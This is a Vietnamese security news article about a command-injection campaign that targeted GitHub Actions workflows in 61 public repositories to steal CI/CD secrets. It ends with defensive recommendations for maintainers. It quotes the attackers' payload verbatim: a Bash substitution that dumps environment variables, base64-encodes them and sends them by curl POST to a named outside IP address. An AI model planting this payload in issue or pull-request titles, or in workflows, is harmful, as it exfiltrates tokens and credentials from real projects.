Mối đe dọa

Phân tích chiến dịch tấn công Command Injection nhắm vào GitHub CI/CD

Các nhà nghiên cứu bảo mật đã phát hiện chiến dịch tấn công Command Injection nhắm vào 61 kho lưu trữ GitHub nhằm đánh cắp dữ liệu nhạy cảm từ hệ thống CI/CD.

RSS Source
RSS SourceAI Rewrite
~1 phút đọc•284 lượt xem
Hackers Target 61 GitHub Repositories With Command Injection Attacks to Steal CI/CD Secrets
  • Mục tiêu tấn công: 61 kho lưu trữ GitHub công khai, bao gồm các dự án lớn như Google LangExtract, Trivy, Brave Browser, MLflow, ToolJet và PX4-Autopilot.
  • Cơ chế khai thác: Kẻ tấn công lợi dụng các luồng công việc (workflows) của GitHub Actions có lỗ hổng, nơi dữ liệu đầu vào từ người dùng (Issue, Pull Request, Comment) được đưa trực tiếp vào các tập lệnh shell mà không qua kiểm duyệt.
  • Mục đích: Thực thi lệnh từ xa để thu thập biến môi trường, thông tin xác thực và các bí mật (secrets) trong hệ thống CI/CD.
  • Khuyến nghị: Hạn chế quyền hạn của workflow, không sử dụng trực tiếp dữ liệu đầu vào không tin cậy trong shell script và thường xuyên kiểm tra nhật ký hệ thống.

Một chiến dịch tấn công mạng tinh vi vừa được các nhà nghiên cứu tại Radware công bố, nhắm trực tiếp vào 61 kho lưu trữ GitHub công khai. Chiến dịch này sử dụng kỹ thuật Command Injection nhằm mục đích đánh cắp dữ liệu từ các hệ thống phát triển tự động (CI/CD). Các bằng chứng kỹ thuật cho thấy các lệnh độc hại đã được thực thi thành công bên trong ít nhất hai luồng công việc (workflows) của GitHub Actions, minh chứng cho việc các thảo luận dự án thông thường có thể trở thành điểm xâm nhập nguy hiểm vào hệ thống xây dựng phần mềm.

The attack chain (source : radware )
Hình 1: Sơ đồ chuỗi tấn công (Nguồn: Radware). Hình ảnh mô tả cách thức kẻ tấn công lợi dụng các tương tác người dùng để chèn mã độc vào quy trình CI/CD.

Chi tiết chiến dịch tấn công

Theo kết quả điều tra từ Radware, chiến dịch này diễn ra với tốc độ rất nhanh. Cụ thể, 77 mục độc hại đã được đăng tải chỉ trong khoảng 43 phút. Ngay sau đó, một đợt tấn công thứ hai bao gồm 6 mục tiếp tục được thực hiện trong khoảng hai phút. Các mục tiêu bao gồm nhiều dự án mã nguồn mở nổi tiếng như Google LangExtract, Trivy, Brave Browser, MLflow, ToolJet và PX4-Autopilot. Tuy nhiên, việc xuất hiện trong danh sách không đồng nghĩa với việc mọi dự án đều đã bị xâm nhập thành công.

Kẻ tấn công đã khai thác các workflow có cơ chế tự động phản hồi khi có người dùng mở Issue, gửi Pull Request hoặc đăng bình luận. Các tác vụ này thường thực hiện kiểm tra tiêu đề, gán nhãn hoặc gửi thông báo. Lỗ hổng phát sinh khi các workflow này đưa trực tiếp văn bản do người dùng kiểm soát vào các tập lệnh shell (shell scripts).

Cơ chế khai thác Command Injection

Kẻ tấn công đã chèn các biểu thức thay thế lệnh Bash, được viết dưới dạng $(...), vào nội dung của tiêu đề Issue hoặc Pull Request. Khi workflow có lỗ hổng nhận dữ liệu này và đưa vào mã shell thực thi, Bash sẽ hiểu biểu thức này là một lệnh cần thực thi thay vì văn bản thông thường. Đáng chú ý, việc bao bọc tiêu đề trong dấu ngoặc kép cũng không ngăn chặn được quá trình thực thi này.

# Payload mẫu được kẻ tấn công sử dụng để trích xuất thông tin môi trường:$(env | base64 | tr -d '\n' | xargs -I {} curl -X POST http://54.205.16.142:8443/collect?data={})

Payload trên thực hiện lệnh env để thu thập các biến môi trường, sau đó mã hóa đầu ra bằng Base64, loại bỏ các ký tự xuống dòng và sử dụng curl để gửi yêu cầu HTTP POST về máy chủ điều khiển (C2). Mọi payload xác minh đều trỏ về địa chỉ IP 54.205.16.142 trên cổng 8443, sử dụng giao thức HTTP thay vì HTTPS.

PX4/PX4-Autopilot — Pull Request #28488 (source : radware )
Hình 2: Pull Request #28488 trên dự án PX4-Autopilot (Nguồn: Radware). Hình ảnh minh họa payload được chèn vào tiêu đề của Pull Request.

Phân tích tác động và rủi ro

Mức độ rủi ro phụ thuộc vào quyền hạn mà mỗi công việc (job) có thể truy cập. Các biến môi trường trong hệ thống CI/CD thường chứa các token dịch vụ, thông tin xác thực triển khai hoặc các thiết lập nội bộ quan trọng. Mặc dù GitHub Actions không tự động cung cấp tất cả các bí mật cho mọi workflow, nhưng việc thực thi lệnh thành công vẫn tạo ra nguy cơ rò rỉ dữ liệu nhạy cảm rất lớn.

Snouzy/workout-cool Issue #251, showing the command-injection payload in the Issue title (source : radware )
Hình 3: Issue #251 trên kho lưu trữ Snouzy/workout-cool, hiển thị payload Command Injection trong tiêu đề (Nguồn: Radware).

Trong trường hợp của dự án PX4-Autopilot, một Pull Request giả mạo dưới dạng sửa lỗi tài liệu đã mang theo payload trong tiêu đề. Workflow kiểm tra tiêu đề đã đưa tiêu đề này vào một lệnh Bash gọi Python. Nhật ký hệ thống cho thấy cảnh báo thay thế lệnh và trả về nội dung bắt đầu bằng GIF89a, thay thế cho biểu thức độc hại. Tương tự, tại Snouzy/workout-cool, workflow thông báo Issue đã đưa tiêu đề của kẻ tấn công trực tiếp vào một biến Bash, dẫn đến việc thực thi lệnh.

Loại thực thểGiá trị / Chỉ sốMô tả tác động
Địa chỉ IP C254.205.16.142Máy chủ nhận dữ liệu đánh cắp
Cổng kết nối8443Cổng giao tiếp HTTP
Kỹ thuậtCommand InjectionThực thi lệnh từ xa qua GitHub Actions
Account-owner comments denying authorship of the Issue and reporting subsequent account-protection actions (source : radware )
Hình 4: Bình luận của chủ sở hữu tài khoản phủ nhận việc tạo Issue độc hại và báo cáo các hành động bảo vệ tài khoản (Nguồn: Radware).

Khuyến nghị phòng thủ và khắc phục

Các nhà nghiên cứu nhấn mạnh rằng các nhà duy trì dự án (maintainers) cần thực hiện các biện pháp bảo mật nghiêm ngặt để ngăn chặn các cuộc tấn công tương tự:

  • Xử lý đầu vào: Luôn chuyển các tiêu đề hoặc nội dung không tin cậy thông qua các biến môi trường thay vì đưa trực tiếp vào mã nguồn shell.
  • Tránh sử dụng eval: Tuyệt đối không sử dụng hàm eval hoặc các cơ chế tương tự để thực thi dữ liệu đầu vào từ người dùng.
  • Giới hạn quyền hạn: Thiết lập quyền hạn tối thiểu cho các workflow, đặc biệt là các workflow có khả năng truy cập vào các bí mật (secrets) quan trọng.
  • Kiểm tra định kỳ: Nếu phát hiện dấu hiệu thực thi lệnh, cần ngay lập tức rà soát các bí mật hiện có, xoay vòng (rotate) các thông tin xác thực bị lộ, kiểm tra nhật ký kiểm toán (audit logs) và điều tra các lưu lượng truy cập mạng bất thường.
  • Phân tách nhiệm vụ: Tách biệt các công việc thông báo (notification jobs) khỏi các workflow phát hành (release workflows) có đặc quyền cao để giảm thiểu thiệt hại nếu bị tấn công.
Tổng hợp, và phân tích kỹ thuật từ:Cyber Security News
Xem bài gốc

Mạng Lưới An Ninh Mạng & Cộng Đồng

24/7 Alerts

Nhận cảnh báo 0-Day khẩn cấp, phân tích mã độc và tham gia thảo luận kỹ thuật cùng chuyên gia.

RSS Source

Ban biên tập nội dung và phân tích an ninh mạng tại ADSECVN.COM.

Bài Viết Liên Quan

Cùng chuyên mục & chủ đề